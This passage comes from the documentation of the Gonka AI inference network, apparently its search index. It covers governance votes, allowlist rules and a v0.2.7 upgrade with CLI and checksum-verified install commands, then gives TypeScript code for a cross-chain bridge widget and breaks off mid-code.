The recent governance vote regarding the Stabilization Period Extension has successfully passed. The stabilization period is now officially extended to allow for additional testing and network upgrades.
ACTION ITEM FOR HOSTS
With the extension confirmed, please use this time to prepare your setups for the new PoC requirements.
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 model.How to update
Instructions for updating an existing ML Node can be found here: https://gonka.ai/host/mlnode-management/#updating-an-existing-mlnode
"}, {"location": "gonka/docs/network-updates/#january-16-2026", "title": "January 16, 2026", "text": "Stabilization Period Extension
A new governance vote is currently active.
The proposal extends the current stabilization period by approximately two weeks. The extended period is intended for additional testing related to upcoming PoC changes and associated network upgrades. More details about new PoC development progress are available here: https://github.com/gonka-ai/gonka/blob/gm/poc-status/proposals/governance-artifacts/poc-update-status.md.
The extension also provides time for Hosts to prepare their setups for the new PoC requirements, including switching their ML Nodes to the Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 model. Instructions for updating an existing ML Node are available here: https://gonka.ai/host/mlnode-management/#updating-an-existing-mlnode. Hosts who operate multiple ML Nodes are encouraged to perform updates gradually across multiple epochs.
Scope of the Vote
If approved, the network will continue to operate temporarily under the existing allowlist (comprising Hosts who have not demonstrated non-standard hardware behaviour).
The Developers allowlist is extended by the same offset and will remain in effect until block 2459375.
Hosts not included in the allowlist will remain unable to participate in PoC during the extended stabilization period, which will conclude at block 2443558.
Reproducibility and methodology
The allowlist is:
Execution characteristics
allowlist extends automatically if the proposal is approved.After the stabilization window
The allowlist has a fixed expiration and does not persist beyond the extended stabilization window. Once the allowlist expires at block 2443558:
How to vote
You can fetch the proposal details and cast your vote using the inferenced command.
Please note that any active node can be used to query or cast a vote. Currently available nodes include:
To check the voting status:
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 22 -o json --node $NODE_URL/chain-rpc/\nTo vote ( yes , no , abstain , no_with_veto ):
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 22 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nNext steps after the vote
This process is handled entirely through governance and does not require a software upgrade.
Timeline and deadlines
Voting ends: January 18th, 2026, at 05:28:01 UTC.
Allowlist expiration: Automatically at block 2443558.
Temporary participant allowlist correction
A new governance vote is currently active. It corrects a filtration edge case by adding several addresses to the allowlist that were previously filtered out due to empty hardware names while having zero ML Node weight. The proposal also adds a small number of developer accounts to the allowed developers list and aligns the expiration of the allowlist with the participant registration cut-off at block 2,222,222. All participation logic remains unchanged. This proposal only resolves a minor issue in the existing filtration logic.
Reproducibility and methodology
The allowlist is derived from publicly observable on-chain data using a predefined set of hardware configuration patterns. These patterns are evaluated using open-source scripts available here: https://github.com/product-science/filter
The allowlist is available here: https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csv
How to vote
You can fetch the proposal details and cast your vote using the inferenced command.
Please note that any active node can be used to query or cast a vote. Currently available nodes include:
To check the voting status:
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 21 -o json --node $NODE_URL/chain-rpc/\nTo vote ( yes , no , abstain , no_with_veto ):
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 21 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nNext steps after the vote
This process is handled entirely through governance and does not require a software upgrade.
Timelines and deadlines
Voting ends: January 12th, 2026, at 06:04:14 UTC.
Allowlist expiration: Automatically at block 2,222,222.
Temporary participant allowlist approved. Activates in Epoch 135
The on-chain governance vote for the temporary participant allowlist for the stabilization period has concluded.
The proposal has been approved. This proposal defines a temporary allowlist reflecting participants whose behavior has remained consistent across recent epochs.
Key changes now active
1) The network will operate with an allowlist composed of participants who, across multiple epochs:
2) Participants that previously exhibited consistent deviations from these patterns are excluded from the allowlist until the stabilization window concludes at block 2,222,222.
Execution characteristics
allowlist becomes active starting from the next epoch (Epoch 135)allowlist remains in effect up to and including block 2,222,222Reproducibility and methodology
allowlist is derived exclusively from publicly observable on-chain dataallowlist is published here: https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csvNext Steps
No action is required from hosts.
"}, {"location": "gonka/docs/network-updates/#january-8-2026", "title": "January 8, 2026", "text": "TIME IS NOW: Temporary Participant Allowlist for Stabilization Period
A new governance vote is currently active following the successful adoption of the patch that resolved the PoC-related consensus failure.
With normal block production restored, the network is entering a short stabilization period ahead of further growth.
This vote defines a participant's allowlist (https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csv) for the stabilization window, reflecting the set of participants whose behavior has remained consistent with network expectations.
Scope of the Vote
If approved, the network will temporarily operate with an allowlist comprising participants who have not demonstrated non-standard hardware behavior in previous epochs. In practice, the allowlist corresponds to participants for whom, across multiple epochs:
allowlist until the stabilization window concludes at block 2222222.Reproducibility and methodology
The allowlist is derived from publicly observable on-chain data using a predefined set of hardware configuration patterns. These patterns are evaluated using open-source scripts available here: https://github.com/product-science/filter
The allowlist is available here: https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csv
Execution characteristics
allowlist takes effect automatically if the proposal is approved.allowlist becomes active during the next PoC following a successful vote, expected at block: 2089140.allowlist remains in effect up to and including block 2222222.After the stabilization window
The allowlist is defined with a fixed expiration and does not persist beyond the stabilization window. Once the allowlist expires at block 2222222:
How to Vote
You can fetch the proposal details and cast your vote using the inferenced command. Please note that any active node can be used to query or cast a vote. Currently available nodes include:
To check the voting status:
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 20 -o json --node $NODE_URL/chain-rpc/\nTo vote ( yes , no , abstain , no_with_veto ):
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 20 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nThis process is handled entirely through governance and does not require a software upgrade.
Timelines and Deadlines
Allowlist activation: After the next PoC execution at block 2089140.Allowlist expiration: Automatically at block 2222222.Please take a look and vote if you're a host.
"}, {"location": "gonka/docs/network-updates/#january-8-2026_1", "title": "January 8, 2026", "text": "Network Update — Consensus Restored
Following the deployment of the patch, network consensus has stabilized and is now operating within normal parameters.
"}, {"location": "gonka/docs/network-updates/#january-8-2026_2", "title": "January 8, 2026", "text": "Network Update — Patch Ready for Deployment
The patch addressing the recent consensus failure observed during PoC is now available.
GUIDE
To restore reliable consensus progress, installation of the patch by at least 67% of active network power is required.
Until this threshold is reached, consensus advancement may remain unstable.
Hosts are encouraged to apply the patch promptly and remain online after upgrading. Further instructions will be shared if necessary.
"}, {"location": "gonka/docs/network-updates/#january-8-2026_3", "title": "January 8, 2026", "text": "Network Update — Follow-Up
The patch addressing the recent consensus issue is ready, and detailed instructions will be shared shortly. Participation from every active Host is critical for the network to move forward and restore normal operation. Please stay online and be ready to apply the update once the instructions are published.
"}, {"location": "gonka/docs/network-updates/#january-8-2026_4", "title": "January 8, 2026", "text": "Network Update — Consensus Failure During PoC
During the Proof-of-Compute (PoC), a consensus failure was observed on the network. The issue has been identified, and a patch is being prepared to address the root cause. Further instructions and technical details will be shared shortly. Hosts are advised to stay online and monitor updates, as follow-up actions may be required once the patch is released.
"}, {"location": "gonka/docs/network-updates/#january-8-2026_5", "title": "January 8, 2026", "text": "v0.2.7 Upgrade Proposal: Genesis Validator Enhancement Live on Mainnet
The on-chain governance vote for the v0.2.7 Upgrade Proposal: Genesis Validator Enhancement has concluded; the proposal has been APPROVED and successfully deployed on the mainnet.
Key Changes Now Active:
Genesis Validator Enhancement (temporary)
Protocol stability fixes (network-wide)
This upgrade formalizes critical fixes that were previously distributed via a manual API update and are already in use on the network. These fixes:
PoCBatch and PoCValidation transactions. By including them here, the behavior becomes a protocol-level rule applied consistently across the network.
Temporary participation and execution limitations
allowlist of developer addresses becomes effective immediately. Developer addresses included in the allowlist will be able to perform inference execution during this period. All limitations applicable to developer addresses, including developer-level registration and inference execution, will remain in effect until block 2.294.222 (approximately 19 days).Governance-controlled mechanism
Preparatory changes included in this upgrade enable future governance-based control over participant onboarding and inference execution without requiring an additional software upgrade. No such governance-activated constraints are enabled as part of this proposal, subject to additional governance vote.
Epoch 117 rewards distribution
This proposal covers two reward distributions related to chain halt (epoch 117):
Note on duration and enforcement
All protections reactivated or introduced by this upgrade are temporary and do not require manual governance intervention for removal.
Next Steps:
.inference state folder whenever it performs an update. To safely run the update, it is recommended to have 250+ GB of free disk space. Read here how to safely remove old backups from the .inference directory.Notes:
The upgrade proposal for version v0.2.7 has been approved through on-chain governance.
Upgrade Details
Pre-downloading binaries in advance may help avoid relying on GitHub availability during the upgrade window.
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.7/bin \\\n .inference/cosmovisor/upgrades/v0.2.7/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.7/decentralized-api-amd64.zip\" && \\\necho \"03555ba60431e72bd01fe1fb1812a211828331f5767ad78316fdd1bcca0e2d52 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.7/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.7/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.7/inferenced-amd64.zip\" && \\\necho \"b7c9034a2a4e1b2fdd525bd45aa32540129c55176fd7a223a1e13a7e177b3246 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.7/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced && \\\necho \"d07e97c946ba00194dfabeaf0098219031664dace999416658c57b760b470a74 .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"09c0e06f7971be87ab00fb08fc10e21ff86f9dff6fc80d82529991aa631cd0a9 .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced\" | sudo sha256sum --check\nInference Installed and Verified\n--- Final Verification ---\n-rwxr-xr-x 1 root root 224376384 Jan 1 2000 .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api\n-rwxr-xr-x 1 root root 215172352 Jan 1 2000 .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced\n.dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api: OK\n.inference/cosmovisor/upgrades/v0.2.7/bin/inferenced: OK\nATTENTION
.inference/data directory during upgrades. Make sure sufficient disk space is available. If disk usage is high, older backups in .inference can be safely removed. application.db files can be reduced using these techniques.Optional: skipping Cosmovisor backup
Cosmovisor supports skipping the automatic state backup during upgrades by setting the environment variable UNSAFE_SKIP_BACKUP=true for the node container.
This may reduce disk usage and upgrade time. However, if the upgrade fails, no backup will be available to restore the previous state.
"}, {"location": "gonka/docs/network-updates/#january-7-2026_1", "title": "January 7, 2026", "text": "Important note for Hosts
There is an option to skip the automatic backup during Cosmovisor upgrades by setting the environment variable UNSAFE_SKIP_BACKUP=true for node container. This option is risky - if the upgrade fails, you will not have a backup to restore the state.
v0.2.7 Upgrade Proposal: Genesis Validator Enhancement Enters Governance
An on-chain governance proposal related to the Genesis Validator Enhancement has been published and is now open for voting.
Recent network growth has introduced several challenges. Over the past days, the network has experienced multiple issues, some of which appear to be caused by deliberate attempts to disrupt or stress the system. This proposal aims to strengthen network resilience under increased load and adverse conditions through a set of temporary measures.
The Genesis Validator Enhancement was originally introduced during the early stage of the network as a temporary defensive mechanism and was active during the first two months of operation. The proposal now under governance is to temporarily reactivate this existing mechanism in response to current network conditions and activate some additional protective measures.
Key Changes
Genesis Validator Enhancement (temporary)
Protocol stability fixes (network-wide)
This upgrade formalizes critical fixes that were previously distributed via a manual API update and are already in use on the network. These fixes:
PoCBatch and PoCValidation transactions. By including them here, the behavior becomes a protocol-level rule applied consistently across the network.
Temporary participation and execution limitations
allowlist of developer addresses becomes effective immediately. Developer addresses included in the allowlist will be able to perform inference execution during this period. All limitations applicable to developer addresses, including developer-level registration and inference execution, will remain in effect until block 2.294.222 (approximately 19 days).Governance-controlled mechanism
Preparatory changes included in this upgrade enable future governance-based control over participant onboarding and inference execution without requiring an additional software upgrade. No such governance-activated constraints are enabled as part of this proposal, subject to additional governance vote.
Epoch 117 rewards distribution
This proposal covers two reward distributions related to chain halt (epoch 117):
Note on duration and enforcement
All protections reactivated or introduced by this upgrade are temporary and do not require manual governance intervention for removal.
How to Vote
You can fetch the proposal details and cast your vote using the inferenced command.
To check the voting status:
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 19 -o json --node $NODE_URL/chain-rpc/\nTo vote ( yes , no , abstain , no_with_veto ):
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 19 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nTimelines and Deadlines
ATTENTION HOSTS
Attention 1
Please review the proposal and vote if you are a host. Be online around the upgrade window to follow instructions if issues arise.
Attention 2
Cosmovisor creates a full backup in the .inference/data state folder whenever it performs an update, please make sure your disk has enough space. Read here how to safely remove old backups from the .inference directory. If your application.db takes a lot of space you can use techniques from here to clean it up.
Reference
Full technical details of the Genesis Validator Enhancement are available here: https://github.com/gonka-ai/gonka/tree/main/proposals/early-network-protection
Full Technical Review (GitHub PR): https://github.com/gonka-ai/gonka/pull/503
"}, {"location": "gonka/docs/network-updates/#january-5-2026", "title": "January 5, 2026", "text": "A higher-than-usual missed inference rate is currently observed on the network. In many cases, this is caused by a bug where inference requests in an unsupported format were not marked as completed, even though the request itself was processed. The following update addresses this behavior.
Reference: https://github.com/gonka-ai/gonka/pull/517
This API version improves resilience around failed inference handling and reduces missed inference accounting issues. It also introduces batching for PoCBatch and PoCValidation transactions.
Upgrade timing
Applying the update is safe when Confirmation PoC is not active.
To verify the current state:
curl \"http://136.243.34.19:8000/v1/epochs/latest\" | jq '.is_confirmation_poc_active'\nfalse . Installation
Download and install the new binary, then restart the API container:
# Download Binary\nsudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.6-post12/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.6-post12/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.6-post12/decentralized-api-amd64.zip' && \\\necho \"f0d1172a90ca4653035e964abe4045f049d03d6060d6519742110e181b1b2257 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.6-post12/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.6-post12/bin/decentralized-api && \\\necho \"API Installed and Verified\"\n\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .dapi/cosmovisor/current\nsudo ln -sf upgrades/v0.2.6-post12 .dapi/cosmovisor/current\necho \"4672a39c3a3a0a2c21464c227a3f36e9ebf096ecc872bf9584ad3ea632752a3e .dapi/cosmovisor/current/bin/decentralized-api\" | sudo sha256sum --check && \\\n\n\n# Restart \nsource config.env && docker compose up api --no-deps --force-recreate -d\nFound a security issue in Gonka? Responsible disclosure helps keep the network secure for everyone. Use the form below to submit a vulnerability report directly through HackerOne.
"}, {"location": "gonka/docs/signup/", "title": "Sign Up", "text": ""}, {"location": "gonka/docs/signup/#sign-up", "title": "Sign Up", "text": "Join the waitlist! Sign up, and we’ll keep you in the loop when we launch to the wider audience
"}, {"location": "gonka/docs/cross-chain-transfers/widget-integration/", "title": "Widget integration", "text": ""}, {"location": "gonka/docs/cross-chain-transfers/widget-integration/#technical-integration-guide-exchange-bridge-widget", "title": "Technical Integration Guide: Exchange & Bridge Widget", "text": "This guide provides technical specifications, architectural designs, and implementation steps for community developers who want to recreate the Exchange & Bridge Widget within their own custom dashboards.
"}, {"location": "gonka/docs/cross-chain-transfers/widget-integration/#1-architectural-overview", "title": "1. Architectural Overview", "text": "To prevent structural confusion, the asset flows for deposits and withdrawals are split into two separate, independent processes.
"}, {"location": "gonka/docs/cross-chain-transfers/widget-integration/#a-deposit-flow-evm-to-gonka-address-derivation", "title": "A. Deposit Flow (EVM to Gonka) & Address Derivation", "text": "During a deposit, tokens are locked on Ethereum, and equivalent wrapped tokens are minted on Gonka based on the derived Cosmos address of the sender's EVM public key. This is where address derivation mismatches can occur:
%%{init: { 'themeVariables': { 'signalColor': 'var(--md-default-fg-color)', 'signalTextColor': 'var(--md-default-fg-color)' } } }%%\nsequenceDiagram\n autonumber\n actor User as User (EVM Wallet)\n participant EthBridge as Ethereum Bridge Contract\n participant Orch as Validators / Orchestrator\n participant Gonka as Gonka Chain\n\n User->>EthBridge: Send ERC-20 (transfer to Bridge Address)\n Note over EthBridge: Tokens Locked in Contract\n EthBridge-->>Orch: Emit Deposit Event\n Note over Orch: Extracts Sender's EVM Public Key\n Note over Orch: Converts Public Key to Cosmos Address (prefix 'gonka')\n Orch->>Gonka: Mint wrapped tokens to Derived Cosmos AddressDuring a withdrawal, tokens are burned on the Cosmos side, validator BLS signatures are polled, and then claimed (minted) on the Ethereum side:
%%{init: { 'themeVariables': { 'signalColor': 'var(--md-default-fg-color)', 'signalTextColor': 'var(--md-default-fg-color)' } } }%%\nsequenceDiagram\n autonumber\n actor User as User Wallet\n participant Gonka as Gonka Chain\n participant Orch as BLS Orchestrator\n participant EthBridge as Ethereum Bridge Contract\n\n User->>Gonka: Burn/Wrap tokens (Cosmos Tx)\n Gonka-->>Orch: Emit Burn Event (Request ID)\n Note over Orch: Decodes Base64 Request ID into Hex\n Note over Orch: Validators sign & generate BLS Signature\n\n loop Polling\n User->>Orch: Poll Signature status by Hex Request ID\n end\n Orch-->>User: Return Validator BLS Signature\n\n User->>EthBridge: Submit mintWithSignature(signature)\n Note over EthBridge: Verify Signature & Mint Tokens\n EthBridge-->>User: Tokens Received in EVM AccountIBC deposits transfer assets directly from Cosmos source chains (e.g. Osmosis, Cosmos Hub, Injective) to Gonka.
Enable & Connect Source Chain: Query Keplr for the source chain credentials.
async function connectSourceChain(chainId: string) {\n const walletProvider = (window as any).keplr;\n if (!walletProvider) throw new Error(\"Cosmos wallet extension not found.\");\n\n await walletProvider.enable(chainId);\n const offlineSigner = walletProvider.getOfflineSigner(chainId);\n const accounts = await offlineSigner.getAccounts();\n return { address: accounts[0].address, offlineSigner };\n}\nResolve Channel Routing: Query the Gonka RPC channel metadata (/ibc/core/channel/v1/channels) to resolve counterparty paths.
async function resolveIbcChannel(nodeUrl: string, targetChainId: string): Promise<string | null> {\n const response = await fetch(`${nodeUrl}/ibc/core/channel/v1/channels`).then(r => r.json());\n const channels = response?.channels || [];\n\n for (const channel of channels) {\n if (channel.state !== 'STATE_OPEN' || channel.port_id !== 'transfer') continue;\n\n const clientData = await fetch(\n `${nodeUrl}/ibc/core/channel/v1/channels/${channel.channel_id}/ports/transfer/client_state`\n ).then(r => r.json());\n\n const clientChainId = clientData?.identified_client_state?.client_state?.chain_id || \n clientData?.client_state?.chain_id;\n\n if (clientChainId === targetChainId) {\n return channel.counterparty?.channel_id || null;\n }\n }\n return null;\n}\nExecute IBC Transfer: Dispatch a standard CosmJS MsgTransfer from the source chain.
import { SigningStargateClient } from '@cosmjs/stargate';\n\nasync function initiateIbcDeposit(\n sourceChainId: string,\n sourcePort: string, // e.g., 'transfer'\n sourceChannel: string, // e.g., 'channel-0'\n denom: string, // e.g., 'uusdt'\n amount: string, // In base units\n senderSourceAddress: string,\n receiverGonkaAddress: string,\n offlineSigner: any,\n rpcUrl: string\n) {\n const client = await SigningStargateClient.connectWithSigner(rpcUrl, offlineSigner);\n\n const timeoutTimestamp = (BigInt(Date.now()) + 600_000n) * 1_000_000n; // 10 minutes timeout in nanoseconds\n\n const response = await client.sendIbcTokens(\n senderSourceAddress, // Sender on source chain (e.g. Osmosis address)\n receiverGonkaAddress, // Receiver on Gonka chain\n { denom, amount },\n sourcePort,\n sourceChannel,\n undefined, // timeoutHeight\n Number(timeoutTimestamp) / 1_000_000_000, // timeoutTimestamp in seconds\n { amount: [], gas: '200000' } // Fee\n );\n\n return response.transactionHash;\n}\nEVM deposits involve locking ERC-20 assets on an EVM source chain to mint corresponding tokens on Gonka. The transaction flow requires the following steps:
Verify EVM Address Key-Mismatch: Validate that the active EVM address derives a Cosmos address matching the connected Keplr public key.
WARNING: EVM Address Key-Mismatch When a user is connected via a standard software mnemonic seed phrase, their EVM wallet (MetaMask) derives addresses using coin type 60 while their Cosmos wallet (Keplr) derives addresses using coin type 118 or 1200. * Because these derivation paths are different, their EVM public key and Cosmos public key do not match. * The Ethereum bridge contract catches the public key of the depositing EVM address and mints tokens on Gonka to the Bech32 address derived directly from that EVM public key. * If a mnemonic-derived mismatch occurs, the tokens will be minted to a completely different Cosmos address than their active Keplr wallet. The funds are not permanently lost — the user can still derive the Ethereum private key from their mnemonic (coin type 60) and use it to access the receiving Gonka account — but this requires a manual key derivation step that most users won't expect.
The Solution: Key Verification Checklist Before allowing a user to deposit, perform this validation:
import { toBech32 } from '@cosmjs/encoding';\nimport { ethers } from 'ethers';\n\nasync function verifyAddressMismatch(\n activeEvmAddress: string,\n cosmosChainId: string,\n currentCosmosAddress: string,\n bech32Prefix: string = 'gonka'\n) {\n // 1. Resolve active wallet provider (Keplr)\n const walletProvider = (window as any).keplr;\n if (!walletProvider) return { isMismatch: false };\n\n // 2. Fetch key properties from Cosmos wallet\n const key = await walletProvider.getKey(cosmosChainId);\n const pubKeyBytes = key.pubKey;\n if (!pubKeyBytes || pubKeyBytes.length === 0) {\n console.warn(\"Public key not available from provider.\");\n return { isMismatch: false };\n }\n\n // 3. Derive the REAL Ethereum address from the Cosmos public key (keccak256-based)\n // NOTE: key.ethereumHexAddress is NOT the real EVM address — it is just the Cosmos \n // address bytes (sha256+ripemd160) represented as hex, which will mismatch.\n const pubKeyHex = '0x' + Array.from(pubKeyBytes, (b) => b.toString(16).padStart(2, '0')).join('');\n const derivedEvmAddress = ethers.computeAddress(pubKeyHex);\n\n // 4. Compare active EVM address with derived EVM address\n const isMismatch = activeEvmAddress.toLowerCase() !== derivedEvmAddress.toLowerCase();\n\n if (isMismatch) {\n // 5. Derive where the tokens will land by decoding EVM hex and encoding as Bech32\n const rawHex = activeEvmAddress.startsWith('0x') ? activeEvmAddress.substring(2) : activeEvmAddress;\n const hexBytes = new Uint8Array(\n rawHex.match(/.{1,2}/g)?.map((byte: string) => parseInt(byte, 16)) || []\n );\n const targetCosmosAddress = toBech32(bech32Prefix, hexBytes);\n\n return {\n isMismatch: true,\n targetCosmosAddress, // Tokens will mint here\n expectedEvmAddress: derivedEvmAddress // User must switch EVM wallet to this address\n };\n }\n\n return { isMismatch: false };\n}\nResolve Bridge Contract Address: Fetch the approved bridge contract address for the target token from the registry API.
async function resolveBridgeAddress(nodeUrl: string, chainId: string): Promise<string> {\n const response = await fetch(\n `${nodeUrl}/productscience/inference/inference/bridge_addresses/${chainId}`\n ).then(r => r.json());\n\n const address = response?.bridge_address || response?.address || response?.approved_bridge_address;\n if (!address) {\n throw new Error(`Failed to resolve bridge address for chain: ${chainId}`);\n }\n return address;\n}\nSwitch EVM Network: Verify and request a switch (wallet_switchEthereumChain) to the correct Ethereum network (Mainnet or Sepolia Testnet).
async function switchEvmNetwork(ethProvider: any, isTestnet: boolean) {\n const targetChainIdHex = isTestnet ? '0xaa36a7' : '0x1'; // Sepolia or Mainnet\n try {\n await ethProvider.request({\n method: 'wallet_switchEthereumChain',\n params: [{ chainId: targetChainIdHex }],\n });\n } catch (switchError: any) {\n if (switchError.code === 4902) {\n throw new Error(`Please add the ${isTestnet ? 'Sepolia' : 'Ethereum'} network to your EVM wallet first.`);\n }\n throw switchError;\n }\n}\nExecute ERC-20 Transfer: Generate the ERC-20 transfer(bridgeAddress, amount) ABI call payload and dispatch it to the ERC-20 token contract address via the EVM provider.
WARNING: When depositing ERC-20 tokens, do not send a raw transaction directly to the bridge contract address. Instead, you must target the ERC-20 token contract address as the recipient (to), and pass the encoded data payload representing the transfer(bridgeContractAddress, amount) function call.
// 1. Manually encode the ERC-20 transfer(address to, uint256 value) function call\n// Method selector for transfer(address,uint256) is 0xa9059cbb\nconst methodId = '0xa9059cbb';\nconst toPadding = bridgeContractAddress.replace(/^0x/i, '').padStart(64, '0');\nconst amountHex = amountInBaseUnits.toString(16).padStart(64, '0');\nconst data = methodId + toPadding + amountHex;\n\n// 2. Dispatch transaction targeting the ERC-20 Token Contract address\n// (Resolves either Keplr's injected EVM provider or standard window.ethereum)\nconst ethProvider = (window as any).keplr?.ethereum || (window as any).ethereum;\nif (!ethProvider) throw new Error(\"No EVM provider found.\");\n\nawait ethProvider.request({\n method: 'eth_sendTransaction',\n params: [{\n from: activeEvmAddress,\n to: erc20ContractAddress, // Target the ERC-20 contract\n data: data // Encoded call to transfer tokens to bridgeContractAddress\n }],\n});\nIBC withdrawals transfer assets directly from Gonka back to Cosmos destination chains (e.g. Osmosis, Cosmos Hub, Injective).
/ibc/core/channel/v1/channels) to resolve the channel targeting the destination chain.Execute IBC Transfer: Dispatch a standard CosmJS MsgTransfer on the Gonka chain.
import { SigningStargateClient } from '@cosmjs/stargate';\n\nasync function initiateIbcWithdraw(\n gonkaChainId: string,\n localChannel: string, // e.g., 'channel-0'\n denom: string, // e.g., 'ibc/...' or native denom\n amount: string, // In base units\n senderGonkaAddress: string,\n receiverCosmosAddress: string,\n offlineSigner: any,\n rpcUrl: string\n) {\n const client = await SigningStargateClient.connectWithSigner(rpcUrl, offlineSigner);\n\n const timeoutTimestamp = (BigInt(Date.now()) + 600_000n) * 1_000_000n; // 10 minutes timeout in nanoseconds\n\n const response = await client.sendIbcTokens(\n senderGonkaAddress, // Sender on Gonka chain\n receiverCosmosAddress, // Receiver on destination chain\n { denom, amount },\n 'transfer',\n localChannel,\n undefined, // timeoutHeight\n Number(timeoutTimestamp) / 1_000_000_000, // timeoutTimestamp in seconds\n { amount: [], gas: '200000' } // Fee\n );\n\n return response.transactionHash;\n}\nUnwrapping tokens out of Gonka back to Ethereum is an asynchronous process consisting of three distinct steps, which must be preceded by a critical validation check:
"}, {"location": "gonka/docs/cross-chain-transfers/widget-integration/#prerequisite-bridge-epoch-synced-validation", "title": "Prerequisite: Bridge Epoch Synced Validation", "text": "To guarantee withdrawals are processed successfully, verify that the Ethereum bridge contract epoch is in sync with the current Gonka chain epoch before starting the unwrap transaction flow. If the bridge is behind, you must prompt the user to register missing epochs on the bridge contract.
import { ethers } from 'ethers';\n\nconst BRIDGE_ABI = [\n 'function getLatestEpochInfo() view returns (uint64 epochId, uint64 timestamp, bytes groupKey)',\n 'function getCurrentState() view returns (uint8)',\n 'function isValidEpoch(uint64 epochId) view returns (bool)',\n 'function submitGroupKey(uint64 epochId, bytes groupPublicKey, bytes validationSig) external',\n];\n\n// 1. Fetch current bridge epoch status\nasync function checkBridgeEpochStatus(\n bridgeAddress: string,\n chainEpoch: number,\n ethProvider: any\n): Promise<{ isSynced: boolean; bridgeEpoch: number }> {\n const provider = new ethers.BrowserProvider(ethProvider);\n const contract = new ethers.Contract(bridgeAddress, BRIDGE_ABI, provider);\n\n const latestInfo = await contract.getLatestEpochInfo();\n const bridgeEpoch = Number(latestInfo.epochId);\n\n return {\n bridgeEpoch,\n isSynced: bridgeEpoch >= chainEpoch,\n };\n}\n\n// 2. Fetch missing BLS epoch registration data from Orchestrator API\nasync function fetchEpochBLSData(orchestratorUrl: string, epochId: number) {\n const data = await fetch(`${orchestratorUrl}/bls/epochs/${epochId}`).then(r => r.json());\n\n // Helper to convert base64 to hex\n const base64ToHex = (b64: string) => {\n const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));\n return '0x' + Array.from(bytes).map(b => b.toString(16).padStart(2, '0')).join('');\n };\n\n return {\n groupPublicKeyHex: base64ToHex(data.group_public_key_uncompressed_256),\n validationSignatureHex: base64ToHex(data.validation_signature_uncompressed_128),\n };\n}\n\n// 3. Sequentially register missing epochs on the Ethereum Bridge\nasync function syncMissingEpochs(\n bridgeAddress: string,\n targetEpochId: number,\n orchestratorUrl: string,\n ethProvider: any\n) {\n const provider = new ethers.BrowserProvider(ethProvider);\n const signer = await provider.getSigner();\n const contract = new ethers.Contract(bridgeAddress, BRIDGE_ABI, signer);\n\n // Check if target epoch is already valid\n const isValid = await contract.isValidEpoch(targetEpochId);\n if (isValid) return;\n\n const latestInfo = await contract.getLatestEpochInfo();\n const latestContractEpoch = Number(latestInfo.epochId);\n\n // Sequentially submit group keys for each missing epoch\n for (let 